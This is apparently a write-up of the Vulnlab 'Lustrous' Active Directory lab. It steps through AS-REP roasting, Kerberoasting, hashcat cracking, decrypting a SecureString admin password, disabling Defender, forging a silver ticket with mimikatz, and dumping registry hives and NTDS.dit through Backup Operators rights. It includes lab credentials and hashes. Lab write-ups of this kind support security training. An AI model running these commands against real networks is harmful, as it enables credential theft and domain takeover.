Vulnlab — Lustrous

8 min readAug 21, 2023

Lustrous, a medium chain AD machine involved two machines, LusMS and LusDC , from LusMS, accessing the ftp share there were usernames which out of which ben.cox didn’t require any pre-authentication, resulting in AS-REP roasting , having remote access to LusMS, local administrator password found in a form of secure string that can be converted back to plaintext, getting the system account and accessing the web application on LusDC, it required kerberos authentication in order to access the site, since there was a service account with a SPN, on performing kerberoasting , svc_web’s hash was cracked and with forging silver ticket as tony.ward who is a part of backup operator group, we can retrieve his password from the site and with (from impacket) retrieving the SAM, SYSTEM and SECURITY file and then dumping NTDS.dit file with LusDC hash to get domain admin.



21/tcp open ftp Microsoft ftpd
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-08-18 17:17:52Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: lustrous.vl0., Site: Default-First-Site-Name)
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=LusDC.lustrous.vl
| Subject Alternative Name: DNS:LusDC.lustrous.vl
| Issuer: commonName=LusDC.lustrous.vl
445/tcp open tcpwrapped
3269/tcp open tcpwrapped
3389/tcp open tcpwrapped
| ssl-cert: Subject: commonName=LusDC.lustrous.vl
49669/tcp open tcpwrapped
58017/tcp open msrpc Microsoft Windows RPC
58052/tcp open unknown


135/tcp open tcpwrapped syn-ack ttl 127
139/tcp open tcpwrapped syn-ack ttl 127
445/tcp open microsoft-ds? syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
|_ssl-date: 2023-08-18T16:57:21+00:00; -4s from scanner time.
| ssl-cert: Subject: commonName=LusMS.lustrous.vl
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
49668/tcp open unknown syn-ack ttl 127

LusDC has webserver running, on accessing that it gives us access denied

Checking for smb shares on LusDC and LusMS

We didn’t get any shares with null authentication, checking the ftp service with anonymous user on LusDC, there’s a transfer folder there

We get few user’s directories

Out of these directories, there’s only ben.cox who has users.cvs file, this file only had domain groups

Initital Foothold (ben.cox)

We have usernames so the only thing we could try here is to perform AS-REP roasting which doesn't require any password as do not require preauthentication check is marked on these accounts, so with we can verify if these users have that check lustrous.vl/ -usersfile users.txt  -dc-ip LusDC.lustrous.vl -request

Having the hash, we can crack it with hashcat

hashcat -a 0 -m 18200 ./hash.txt /usr/share/wordlists/rockyou.txt  --force

Having the valid credentials we can check if there’s any share `ben` can read but it doesn’t show any interesting shares

On to enumerating the domain with python-bloodhound

python3 /opt/ -d 'lustrous.vl' -u 'ben.cox' -p 'Trinity1' -c all -ns

From ben’s groups, he’s in `Remote Access` so maybe we can log into LusMS

Running the shortest path to high value targets we have tony.ward who is part of backup admins so we'll have to reach to that user somehow and maybe abuse that group.

To verify if we can have a shell on LusMS, running cme again on winrm

evil-winrm -i -u 'ben.cox' -p 'Trinity1'

From ben’s desktop folder we’ll get admin.xml having the secure string password of local administrator

Following this article to retrieve the plaintext password , we’ll create two variables, user having the username and pass having the secure string password which will be piped to ConvertTo-SecureString , create PSCredential of the username and password and then with GetNetworkCredential we’ll print out the credentials

$user = "Administrator"
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d4ecf9dfb12aed4eab72b909047c4e560000000002000000000003660000c000000010000000d5ad4244981a04676e2b522e24a5e8000000000004800000a00000001000000072cd97a471d9d6379c6d8563145c9c0e48000000f31b15696fdcdfdedc9d50e1f4b83dda7f36bde64dcfb8dfe8e6d4ec059cfc3cc87fa7d7898bf28cb02352514f31ed2fb44ec44b40ef196b143cfb28ac7eff5f85c131798cb77da914000000e43aa04d2437278439a9f7f4b812ad3776345367" | ConvertTo-SecureString
cred = New-Object System.Management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | Format-List

With this password we can login as administrator

Dumping credentials didn’t gave us any new set of credential

Forging silver ticket to impersonate as tony.ward

Going back to bloodhound, we see two kerberoastable users, out of which svc_web might be useful for us as there's no mssql service running

With we can request the hash Lustrous.vl/ben.cox:Trinity1 -dc-ip LusDC.lustrous.vl -request-user svc_web
hashcat -a 0 -m 13100 svc_web.txt /usr/share/wordlists/rockyou.txt  --force

We saw a web page on LusDC, which we were not able to access, it maybe using kerberos authentication so with we can request the kerberos ticket of ben to see if we can access that page lustrous.vl/ben.cox:Trinity1 -dc-ip

Edit /etc/krb5.conf file as well

Now importing the ticket in KRB5CCNAME variable

With curl we can access the page using kerberos authentication and from the output, it shows that it’s some kind of note taking application where there’s a page /Internal

Here it shows the password of ben and a note about activating kerberos authentication, we have the password of svc_web meaning that we can create a silver ticket to impersonate any user on the application and since we saw tony.ward is part of backup operators group we may need to move forward with that user, so impersonating as tony. Through rpcclient we can get sid of tony

With we can forge a silver ticket

But the site was not accessible with this ticket, I am not sure why it wasn’t working so I moved on to windows machine to forge the ticket and try from there, to do that since defender is enabled we need to disable it in order to run mimikatz and we need to be SYSTEM user on LusMS to do this

Set-MpPreference -DisableRealtimeMonitoring $true
kerberos::golden /domain:lustrous.vl /sid:S-1-5-21-2355092754-1584501958-1513963426 /rc4:e67af8b3d78df5a02eb0d57b6cb60717 /user:tony.ward /target:LusDC.lustrous.vl /id:1114 /service:http/lusdc.lustrous.vl /ptt

Running klist we’ll see that the ticket is loaded into the memory

With Invoke-WebRequest we can can access the Internal endpoint showing the password for tony.ward

Invoke-WebRequest -Uri http://lusdc.lustrous.vl/Internal -UseDefaultCredentials -UseBasicParsing | Select-Object -Expand Content

Since tony.ward is a member of backup operators, which has SeBackup and SeRestore privilege which can allow the group members to access any file so here we can take a backup of ntds.dit but we can't get a remote shell with this user

However we can use the PoC which is made by Filip Dragovic, just replace credentials and add the DC host

But to my surprise this didn’t worked

Using from impacket which is for querying remote registry, we can dump SAM, SYSTEM and SECURITY files from registry hive lustrous.vl/tony.ward:U_cPVQqEI50i1X@ save -keyName 'HKLM\SAM' -o '\\\UWU' lustrous.vl/tony.ward:U_cPVQqEI50i1X@ save -keyName 'HKLM\SYSTEM' -o '\\\UWU' lustrous.vl/tony.ward:U_cPVQqEI50i1X@ save -keyName 'HKLM\SECURITY' -o '\\\UWU'

With , we can parse SAM file locally -sam ./ -system ./ -security ./ local

The administrator hash we get is for DSRM as DC uses NTDS.dit file for the password hashes so we cannot use this hash as DSRM needs to be enabled, so using the machine account (LusDC) with the hash a34bee37b205abb8908277c4751d79ea we can dump the NTDS.dit file 'LusDC$'@ -hashes ':a34bee37b205abb8908277c4751d79ea'